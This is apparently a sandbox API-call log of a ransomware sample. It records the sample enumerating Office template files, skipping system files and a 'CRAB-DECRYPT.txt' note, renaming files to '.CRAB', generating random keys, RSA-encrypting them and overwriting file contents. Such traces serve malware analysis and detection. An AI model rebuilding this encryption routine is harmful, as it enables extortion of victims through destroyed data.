	[0118.387] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox.CRAB.CRAB"
	[0118.387] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0118.387] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.388] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.388] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.388] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0118.388] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0118.388] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.389] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e5a0) returned 1
	[0118.389] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.390] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.392] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.392] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0118.392] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0118.392] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.392] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0118.392] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0118.393] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e6b0) returned 1
	[0118.393] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xded9e8) returned 1
	[0118.393] CryptGetKeyParam (in: hKey=0xded9e8, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0118.394] CryptEncrypt (in: hKey=0xded9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0118.394] GetLastError () returned 0x0
	[0118.394] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0118.394] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e7c0) returned 1
	[0118.395] CryptImportKey (in: hProv=0xd6e7c0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xdeda68) returned 1
	[0118.395] CryptGetKeyParam (in: hKey=0xdeda68, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0118.395] CryptEncrypt (in: hKey=0xdeda68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0118.395] GetLastError () returned 0x0
	[0118.395] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0118.395] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328951[[fn=tabbed arc]].glox.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0118.396] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0118.396] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0118.396] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0xe63, lpOverlapped=0x0) returned 1
	[0118.420] VirtualAlloc (lpAddress=0x0, dwSize=0xe70, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0118.421] VirtualAlloc (lpAddress=0x0, dwSize=0xe70, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0118.421] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.421] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffff19d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.422] WriteFile (in: hFile=0x3fc, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3147f1c*=0xe70, lpOverlapped=0x0) returned 1
	[0118.422] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.422] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.427] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0118.427] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0118.427] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0118.427] CloseHandle (hObject=0x3fc) returned 1
	[0118.431] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.431] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.432] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.432] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.432] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.432] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.433] FindNextFileW (in: hFindFile=0xda3f20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0118.433] lstrcmpW (lpString1="TM03328972[[fn=Tab List]].glox", lpString2=".") returned 1
	[0118.433] lstrcmpW (lpString1="TM03328972[[fn=Tab List]].glox", lpString2="..") returned 1
	[0118.433] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328972[[fn=Tab List]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox"
	[0118.433] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.433] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox") returned 134
	[0118.433] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox") returned 134
	[0118.433] lstrlenW (lpString=".glox") returned 5
	[0118.433] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.433] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".glox ") returned 6
	[0118.434] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.434] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox") returned 134
	[0118.434] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox") returned 134
	[0118.434] lstrcmpiW (lpString1="TM03328972[[fn=Tab List]].glox", lpString2="desktop.ini") returned 1
	[0118.434] lstrcmpiW (lpString1="TM03328972[[fn=Tab List]].glox", lpString2="autorun.inf") returned 1
	[0118.434] lstrcmpiW (lpString1="TM03328972[[fn=Tab List]].glox", lpString2="ntuser.dat") returned 1
	[0118.434] lstrcmpiW (lpString1="TM03328972[[fn=Tab List]].glox", lpString2="iconcache.db") returned 1
	[0118.434] lstrcmpiW (lpString1="TM03328972[[fn=Tab List]].glox", lpString2="bootsect.bak") returned 1
	[0118.434] lstrcmpiW (lpString1="TM03328972[[fn=Tab List]].glox", lpString2="boot.ini") returned 1
	[0118.434] lstrcmpiW (lpString1="TM03328972[[fn=Tab List]].glox", lpString2="ntuser.dat.log") returned 1
	[0118.434] lstrcmpiW (lpString1="TM03328972[[fn=Tab List]].glox", lpString2="thumbs.db") returned 1
	[0118.434] lstrcmpiW (lpString1="TM03328972[[fn=Tab List]].glox", lpString2="CRAB-DECRYPT.txt") returned 1
	[0118.434] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.435] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox.CRAB") returned 139
	[0118.435] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328972[[fn=tab list]].glox")) returned 0x20
	[0118.435] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox", dwFileAttributes=0x20) returned 1
	[0118.436] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328972[[fn=tab list]].glox"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328972[[fn=tab list]].glox.crab")) returned 1
	[0118.437] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0118.437] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox.CRAB"
	[0118.437] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox.CRAB.CRAB"
	[0118.437] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0118.438] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.438] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.438] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.438] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0118.439] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0118.439] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.439] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e5a0) returned 1
	[0118.439] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.440] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.440] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.440] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0118.440] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0118.440] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.441] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0118.441] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0118.442] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6ed98) returned 1
	[0118.442] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xdedf68) returned 1
	[0118.442] CryptGetKeyParam (in: hKey=0xdedf68, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0118.442] CryptEncrypt (in: hKey=0xdedf68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0118.443] GetLastError () returned 0x0
	[0118.443] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0118.443] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e5a0) returned 1
	[0118.443] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xdedc68) returned 1
	[0118.443] CryptGetKeyParam (in: hKey=0xdedc68, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0118.444] CryptEncrypt (in: hKey=0xdedc68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0118.444] GetLastError () returned 0x0
	[0118.444] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0118.444] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328972[[fn=tab list]].glox.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0118.445] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0118.445] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0118.445] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x1318, lpOverlapped=0x0) returned 1
	[0118.459] VirtualAlloc (lpAddress=0x0, dwSize=0x1320, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0118.460] VirtualAlloc (lpAddress=0x0, dwSize=0x1320, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0118.460] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.460] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xffffece8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.460] WriteFile (in: hFile=0x3fc, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3147f1c*=0x1320, lpOverlapped=0x0) returned 1
	[0118.461] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.461] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.465] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0118.465] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0118.465] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0118.466] CloseHandle (hObject=0x3fc) returned 1
	[0118.467] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.467] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.467] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.468] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.468] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.468] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.468] FindNextFileW (in: hFindFile=0xda3f20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0118.468] lstrcmpW (lpString1="TM03328975[[fn=Theme Picture Accent]].glox", lpString2=".") returned 1
	[0118.468] lstrcmpW (lpString1="TM03328975[[fn=Theme Picture Accent]].glox", lpString2="..") returned 1
	[0118.468] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328975[[fn=Theme Picture Accent]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox"
	[0118.468] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.469] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox") returned 146
	[0118.469] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox") returned 146
	[0118.469] lstrlenW (lpString=".glox") returned 5
	[0118.469] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.469] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".glox ") returned 6
	[0118.469] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.470] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox") returned 146
	[0118.470] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox") returned 146
	[0118.470] lstrcmpiW (lpString1="TM03328975[[fn=Theme Picture Accent]].glox", lpString2="desktop.ini") returned 1
	[0118.470] lstrcmpiW (lpString1="TM03328975[[fn=Theme Picture Accent]].glox", lpString2="autorun.inf") returned 1
	[0118.470] lstrcmpiW (lpString1="TM03328975[[fn=Theme Picture Accent]].glox", lpString2="ntuser.dat") returned 1
	[0118.470] lstrcmpiW (lpString1="TM03328975[[fn=Theme Picture Accent]].glox", lpString2="iconcache.db") returned 1
	[0118.470] lstrcmpiW (lpString1="TM03328975[[fn=Theme Picture Accent]].glox", lpString2="bootsect.bak") returned 1
	[0118.470] lstrcmpiW (lpString1="TM03328975[[fn=Theme Picture Accent]].glox", lpString2="boot.ini") returned 1
	[0118.470] lstrcmpiW (lpString1="TM03328975[[fn=Theme Picture Accent]].glox", lpString2="ntuser.dat.log") returned 1
	[0118.470] lstrcmpiW (lpString1="TM03328975[[fn=Theme Picture Accent]].glox", lpString2="thumbs.db") returned 1
	[0118.470] lstrcmpiW (lpString1="TM03328975[[fn=Theme Picture Accent]].glox", lpString2="CRAB-DECRYPT.txt") returned 1
	[0118.470] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.470] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox.CRAB") returned 151
	[0118.470] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328975[[fn=theme picture accent]].glox")) returned 0x20
	[0118.471] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox", dwFileAttributes=0x20) returned 1
	[0118.471] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328975[[fn=theme picture accent]].glox"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328975[[fn=theme picture accent]].glox.crab")) returned 1
	[0118.472] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
